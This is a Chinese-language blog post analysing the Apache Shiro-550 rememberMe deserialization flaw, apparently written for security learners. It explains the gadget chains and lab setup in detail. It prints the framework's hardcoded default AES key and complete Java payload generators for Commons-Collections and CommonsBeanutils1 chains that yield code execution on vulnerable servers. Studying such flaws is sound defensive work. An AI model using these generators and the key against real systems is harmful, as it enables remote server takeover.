2025年3月31日 星期一 乙巳(蛇)年 正月初一 设为首页 加入收藏
rss
您当前的位置:首页 > 计算机 > 服务器 > 万维网络 > 中间件

Shiro 反序列化漏洞原理分析

时间:12-14来源:作者:点击数:8

1 概述

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。

Shiro 反序列化漏洞的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

前面的文章,介绍了 Commons-Collections 链的各种 Gadget,分为两种利用方式:一种是 InvokerTransformer ,通过 Runtime.exec() 命令执行;另一种是 TemplatesImpl ,通过加载类字节码的形式代码执行。

本文先以一个实际的例子 —— Shiro 反序列化漏洞,来实际使用一下 TemplatesImpl 。

2 漏洞环境搭建

利用 靶场 搭建漏洞环境,整个项目只有两个代码文件,index.jsp 和 login.jsp,依赖这块也仅有下面几个:

  • shiro-core 、 shiro-web ,这是 shiro 本身的依赖
  • javax.servlet-api 、 jsp-api ,这是 JSP 和 Servlet 的依赖,仅在编译阶段使用,因为 Tomcat 中自带这两个依赖
  • slf4j-api 、 slf4j-simple ,这是为了显示 shiro 中的报错信息添加的依赖
  • commons-logging,这是 shiro 中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
  • commons-collections,为了演示反序列化漏洞,增加了 commons-collections 依赖

使用 Maven 将项目打包成 war 包,放在 Tomcat 的 webapps 目录下。然后访问 http://localhost:8080/shirodemo/ ,会跳转到登录页面:

然后输入正确的账号密码, root/secret ,可以成功登录。

如果登录时选择了 remember me 的多选框,则登录成功后服务端会返回一个 rememberMe 的 Cookie。

3 使用 CC6 攻击 Shiro

3.1 概述

整个攻击过程如下:

  1. 使用 CommonsCollections 利用链生成一个序列化 Payload
  2. 使用 Shiro 默认 Key 进行加密
  3. 将密文作为 rememberMe 的 Cookie 发送给服务端

3.2 包含数组的反序列化 Gadget

  • import org.apache.shiro.crypto.AesCipherService;
  • import org.apache.shiro.util.ByteSource;
  • public class Client0 {
  • public static void main(String []args) throws Exception {
  • byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
  • AesCipherService aes = new AesCipherService();
  • byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  • ByteSource ciphertext = aes.encrypt(payloads, key);
  • System.out.printf(ciphertext.toString());
  • }
  • }

加密的过程,使用的 shiro 内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段 base64 字符串。

直接将这段字符串作为 rememberMe 的值(不做 url 编码),发送给 shiro。结果 Tomcat 出现了报错:

找到最后一个异常信息 org.apache.shiro.io.ClassResolvingObjectInputStream ,可以看到,这是一个 ObjectInputStream 的子类,其重写了 resolveClass 方法:

resolveClass 是反序列化中用来查找类的方法,在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:

  • protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException
  • {
  • String name = desc.getName();
  • try {
  • return Class.forName(name, false, latestUserDefinedLoader());
  • } catch (ClassNotFoundException ex) {
  • Class<?> cl = primClasses.get(name);
  • if (cl != null) {
  • return cl;
  • } else {
  • throw ex;
  • }
  • }
  • }

会发现,前者用的是 org.apache.shiro.util.ClassUtils#forName ,而后者用的是 Java 原生的 Class.forName 。

在异常捕捉的位置下个断点,看看是哪个类触发了异常:

可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。其实就是表示 org.apache.commons.collections.Transformer 的数组。

3.2.1 Class.forName 和 ClassLoader.loadClass 的区别

当使用 ClassLoader.loadClass(String name) 时,name 必须是 Java 语言规范定义的二进制名称,并不包括数组类;类加载器负责加载类的对象,数组类的类对象不是由类加载器创建的,而是根据 Java 运行时的要求自动创建的。

以下面代码为例:

  • package ClassLoaderDemo;
  • public class ClassLoaderDemo {
  • public static void main(String[] args) throws ClassNotFoundException {
  • String c1name = "test1".getClass().getName();
  • String c2name = new String[]{"test2"}.getClass().getName();
  • System.out.println(c1name);
  • System.out.println(c2name);
  • Class.forName(c1name);
  • Class.forName(c2name);
  • ClassLoaderDemo.class.getClassLoader().loadClass(c1name);
  • ClassLoaderDemo.class.getClassLoader().loadClass(c2name);
  • }
  • }
3.2.2 真实原因

网上大部分分析原因都是说 Class.forName() 与 ClassLoader.loadClass() 的区别导致 shiro 反序列化时不能加载数组,这个原因不完全准确。

其实是 shiro 加载 Class 最终调用的是 Tomcat 下的 webappclassloader ,该类会使用 Class.forName() 加载数组类,但是使用的 classloader 是 URLClassLoader ,只会加载 tomcat/bin 、 tomcat/lib 、 jre/lib/ext 下面的类数组,无法加载三方依赖 jar 包。

总之, 如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误 。因为 CC6 用到了 Transformer 数组,因此没法正常反序列化。

3.3 不包含数组的反序列化 Gadget

这里利用 wh1t3p1g(link:https://www.anquanke.com/post/id/192619) 的思路。使用 TemplatesImpl.newTransformer 函数来动态 loadClass 构造好的 evil class bytes 。并且在这部分利用链上是不存在数组类型的对象的。

如何触发 TemplatesImpl.newTransformer 的方法?

先来回顾一下 CommonsCollections2 的利用链:

  • PriorityQueue.readObject
  • -> PriorityQueue.heapify()
  • -> PriorityQueue.siftDown()
  • -> PriorityQueue.siftDownUsingComparator()
  • -> TransformingComparator.compare()
  • -> InvokerTransformer.transform()
  • -> TemplatesImpl.newTransformer()
  • ... templates Gadgets ...
  • -> Runtime.getRuntime().exec()

在这条链上,由于 TransformingComparator 在 3.2.1 的版本上还没有实现 Serializable 接口,其在 3.2.1 版本下是无法反序列化的。所以无法直接利用该 payload 来达到命令执行的目的。

在 InvokerTransformer.transform() 中,根据传入的 input 对象,调用其 iMethodName 方法。如果此时传入的 input 为构造好的 TemplatesImpl 对象呢?这样就可以通过将 iMethodName 置为 newTransformer ,从而完成后续的 templates gadgets。

在 ysoserial 的利用链中,关于 transform 函数接收的 input 存在两种情况:

  • 配合 ChainedTransformer
  • 无意义的 String ,这里的无意义的 String 指的是传入到 ConstantTransformer.transform 函数的 input ,该 transform 函数不依赖 input ,而直接返回 iConstant

从 CommonsCollection6 开始,用到了 TiedMapEntry ,其作为中继,调用了 LazyMap (map)的 get 函数。

其中 map 和 key 都可以控制,而 LazyMap.get 调用了 transform 函数,并将可控的 key 传入 transform 函数:

这样就将构造好的 TemplatesImpl (key)作为 InvokerTransformer.transform 函数的 input 传入,就可以把 templates gadgets 串起来了。

这里整理一下这条链的调用过程:

  • java.util.HashSet.readObject()
  • -> java.util.HashMap.put()
  • -> java.util.HashMap.hash()
  • -> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  • -> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  • -> org.apache.commons.collections.map.LazyMap.get()
  • -> org.apache.commons.collections.functors.InvokerTransformer.transform()
  • -> java.lang.reflect.Method.invoke()
  • ... templates gadgets ...
  • -> java.lang.Runtime.exec()

4 实战 - CommonsCollectionsK1

首先还是创建 TemplatesImpl 对象:

  • TemplatesImpl obj = new TemplatesImpl();
  • setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
  • setFieldValue(obj, "_name", "HelloTemplatesImpl");
  • setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建一个用来调用 newTransformer 方法的 InvokerTransformer,但注意的是,此时先传入一个正常的方法,比如 getClass ,避免恶意方法在构造 Gadget 的时候触发:

  • Transformertransformer = new InvokerTransformer("getClass",null,null);

再把之前的 CommonsCollections6 的代码复制过来,将原来 TiedMapEntry 构造时的第二个参数 key,改为前面创建的 TemplatesImpl 对象:

  • Map innerMap = new HashMap();
  • Map outerMap = LazyMap.decorate(innerMap, transformer);
  • TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
  • Map expMap = new HashMap();
  • expMap.put(tme, "valuevalue");
  • outerMap.clear();

完整代码如下:

  • package com.govuln.shiroattack;
  • import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  • import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  • import org.apache.commons.collections.Transformer;
  • import org.apache.commons.collections.functors.InvokerTransformer;
  • import org.apache.commons.collections.keyvalue.TiedMapEntry;
  • import org.apache.commons.collections.map.LazyMap;
  • import java.io.ByteArrayOutputStream;
  • import java.io.ObjectOutputStream;
  • import java.lang.reflect.Field;
  • import java.util.HashMap;
  • import java.util.Map;
  • public class CommonsCollectionsShiro {
  • public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  • Field field = obj.getClass().getDeclaredField(fieldName);
  • field.setAccessible(true);
  • field.set(obj, value);
  • }
  • public byte[] getPayload(byte[] clazzBytes) throws Exception {
  • TemplatesImpl obj = new TemplatesImpl();
  • setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
  • setFieldValue(obj, "_name", "HelloTemplatesImpl");
  • setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  • Transformer transformer = new InvokerTransformer("getClass", null, null);
  • Map innerMap = new HashMap();
  • Map outerMap = LazyMap.decorate(innerMap, transformer);
  • TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
  • Map expMap = new HashMap();
  • expMap.put(tme, "valuevalue");
  • outerMap.clear();
  • setFieldValue(transformer, "iMethodName", "newTransformer");
  • // ==================
  • // 生成序列化字符串
  • ByteArrayOutputStream barr = new ByteArrayOutputStream();
  • ObjectOutputStream oos = new ObjectOutputStream(barr);
  • oos.writeObject(expMap);
  • oos.close();
  • return barr.toByteArray();
  • }
  • }

这一个 Gadget 其实也就是 XRay 和 Koalr 师傅的 CommonsCollectionsK1 用来检测 Shiro-550 的方法。

5 CommonsBeanutils1 Gadget 分析

5.1 背景

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean(link:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680) ) 的一些操作方法。

如 Cat 是一个最简单的 JavaBean 类:它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter 的方法名以 get 开头,setter 的方法名以 set 开头,

  • final public class Cat {
  • private String name = "catalina";
  • public String getName() {
  • return name;
  • }
  • public void setName(String name) {
  • this.name = name;
  • }
  • }

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如: PropertyUtils.getProperty(new Cat(), "name");

此时, commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。

5.2 分析

寻找可以利用的 java.util.Comparator 对象,在 commons-beanutils 包中存在: org.apache.commons.beanutils.BeanComparator ,用来比较两个 JavaBean 是否相等的类,其实现了 java.util.Comparator 接口。我们看它的 compare 方法:

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象。如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。 PropertyUtils.getProperty 这个方法会自动去调用一个 JavaBean 的 getter 方法, 这个点是任意代码执行的关键。

在分析 TemplatesImpl 利用链的文章中指出, TemplatesImpl#getOutputProperties() 方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer() ,也就是后面常用来执行恶意字节码的方法:

而 getOutputProperties 这个名字,是以 get 开头,正符合 getter 的定义。

构造的 POC 如下:

  • import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  • import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  • import org.apache.commons.beanutils.BeanComparator;
  • import java.io.ByteArrayInputStream;
  • import java.io.ByteArrayOutputStream;
  • import java.io.ObjectInputStream;
  • import java.io.ObjectOutputStream;
  • import java.lang.reflect.Field;
  • import java.nio.file.Files;
  • import java.nio.file.Paths;
  • import java.util.PriorityQueue;
  • public class CB1Demo {
  • public static void main(String[] args) throws Exception {
  • byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));
  • TemplatesImpl obj = new TemplatesImpl();
  • setFieldValue(obj, "_bytecodes", new byte[][]{code});
  • setFieldValue(obj, "_name", "HelloTemplatesImpl");
  • setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  • final BeanComparator comparator = new BeanComparator();
  • final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  • queue.add(1);
  • queue.add(1);
  • setFieldValue(comparator, "property", "outputProperties");
  • setFieldValue(queue, "queue", new Object[]{obj, obj});
  • // 序列化
  • ByteArrayOutputStream barr = new ByteArrayOutputStream();
  • ObjectOutputStream oos = new ObjectOutputStream(barr);
  • oos.writeObject(queue);
  • oos.close();
  • // 反序列化
  • ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  • ois.readObject();
  • }
  • public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  • Field field = obj.getClass().getDeclaredField(fieldName);
  • field.setAccessible(true);
  • field.set(obj, value);
  • }
  • }

首先创建 TemplateImpl 。然后实例化 BeanComparator 。 BeanComparator 构造函数为空时,默认的 property 就是空。再用刚刚的 comparator 实例化优先队列 PriorityQueue 。

可以看到,代码中添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare() 中, 如果 this.property 为空,则直接比较这两个对象。这里实际上就是对两个 1 进行排序。

最后,再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个 1 替换成恶意的 TemplateImpl 对象。

6 CB1 在 Shiro 反序列化中的利用

在前面的漏洞环境中,我们是手动添加了 Commons Collections 依赖。在实际场景中,目标系统不一定会安装 Commons Collections 库。而 commons-beanutils 默认添加。

尝试使用上文的 CB1 直接构造 payload,并发送,发现是失败的,提示 serialVersionUID 不一致。

6.1 serialVersionUID

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java 在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中

反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化过程就丢异常并退出执行,避免后续的未知隐患。

所以,出现错误的原因就是,本地使用的 commons-beanutils 是 1.9.2 版本,而 Shiro 中自带的 commons-beanutils 是 1.8.3 版本,出现了 serialVersionUID 对应不上的问题。

更换版本后,再次生成 Payload 进行测试,此时 Tomcat 端爆出了另一个异常,仍然没有触发代码执行:

  • Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections 。

commons-beanutils 本来依赖于 commons-collections ,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于 commons-collections。

6.2 无依赖的 Shiro 反序列化 Gadget

首先确认 org.apache.commons.collections.comparators.ComparableComparator 这个类的使用情况:

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。

既然此时没有 ComparableComparator ,需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口 Java、shiro 或 commons-beanutils 自带,且兼容性强

通过 IDEA 的 Implementation 寻找实现了 Comparator 的类:

代码如下:

CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator 和 Serializable ,且位于 Java 的核心代码中,兼容性强。

通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator :

  • final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

构造出新的 CommonsBeanutils1Shiro 利用链:

  • import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  • import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  • import org.apache.commons.beanutils.BeanComparator;
  • import java.io.ByteArrayOutputStream;
  • import java.io.ObjectOutputStream;
  • import java.lang.reflect.Field;
  • import java.util.PriorityQueue;
  • public class CommonsBeanutils1Shiro {
  • public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  • Field field = obj.getClass().getDeclaredField(fieldName);
  • field.setAccessible(true);
  • field.set(obj, value);
  • }
  • public byte[] getPayload(byte[] clazzBytes) throws Exception {
  • TemplatesImpl obj = new TemplatesImpl();
  • setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
  • setFieldValue(obj, "_name", "HelloTemplatesImpl");
  • setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  • final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  • final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  • // stub data for replacement later
  • queue.add("1");
  • queue.add("1");
  • setFieldValue(comparator, "property", "outputProperties");
  • setFieldValue(queue, "queue", new Object[]{obj, obj});
  • // ==================
  • // 生成序列化字符串
  • ByteArrayOutputStream barr = new ByteArrayOutputStream();
  • ObjectOutputStream oos = new ObjectOutputStream(barr);
  • oos.writeObject(queue);
  • oos.close();
  • return barr.toByteArray();
  • }
  • }

参考

phith0n Java 漫谈系列(link:https://wx.zsxq.com/dweb2/index/group/2212251881)

Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞(link:https://paper.seebug.org/shiro-rememberme-1-2-4/)

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门
本栏推荐